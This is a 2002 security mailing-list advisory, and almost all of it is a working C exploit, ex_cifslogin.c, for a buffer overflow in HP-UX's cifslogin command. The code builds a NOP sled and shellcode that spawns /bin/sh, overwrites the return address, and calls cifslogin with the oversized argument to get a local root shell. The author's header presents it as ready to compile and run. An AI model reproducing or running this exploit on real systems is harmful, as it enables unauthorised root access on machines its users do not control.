[EXPL] Local Root Exploit for cifslogin on HP-UX

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From: support@securiteam.com
To: list@securiteam.com
Date: 17 Nov 2002 22:04:50 +0200

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  Local Root Exploit for cifslogin on HP-UX
------------------------------------------------------------------------

SUMMARY

A vulnerability in the cifslogin allows local attackers to cause it to
execute arbitrary code, and gaining arbitrary privileges.

DETAILS

Exploit:
/*
Name : ex_cifslogin.c
Compile : cc ex_cifslogin -o cifslogin
Purpose : exploit cifslogin command for HP-UX 11.11 11.0 10.20Łto get root
shell
Author : watercloud < safesuite@263.net, watercloud@xfocus.net >
Date : 2002-11-6
Announce: Use as your own riskĄŁ
Thanks : bear < bearundertree@163.com >
Tested : HPUX B11.11
*/
#include<stdio.h>

#define T_LEN 2304
#define BUFF_LEN 2176
#define NOP 0x0b390280

char shellcode[]=
        "\xe8\x3f\x1f\xfd\xb4\x23\x03\xe8\x60\x60\x3c\x61\x0b\x39\x02"
        "\x99\x34\x1a\x3c\x53\x0b\x43\x06\x1a\x20\x20\x08\x01\x34\x16\x03"
        "\xe8\xe4\x20\xe0\x08\x96\xd6\x03\xfe/bin/shA";
long addr;
char buffer[T_LEN];

main()
{
        int addr_off =800 ;

        int n=BUFF_LEN/4,i=0;
        long * ap = (long *) &buffer[BUFF_LEN];
        char * sp = &buffer[BUFF_LEN-strlen(shellcode)];
        long * np = (long *) buffer;

        addr = ((long) &addr_off + T_LEN ) & 0xffffff40 +0x40 ;

        for(i=0;i<n;np[i++]=NOP);
        memcpy(sp,shellcode,strlen(shellcode));
        for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr+addr_off);

        printf("SP=0x%x EXP_SP=0x%x OFF=0x%x (%i)\n",(long)&addr_off &
0xffffff40,addr,addr_off);
        printf("Addr =0x%x
NOP_LEN=%i\n",addr+addr_off,BUFF_LEN-strlen(shellcode));
        printf("BUFFER_LEN=%i\n",strlen(buffer));

        
execl("/opt/cifsclient/bin/cifslogin","cifslogin","123",buffer,NULL);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:safesuite@263.net>
watercloud, <mailto:watercloud@xfocus.net> watercloud.

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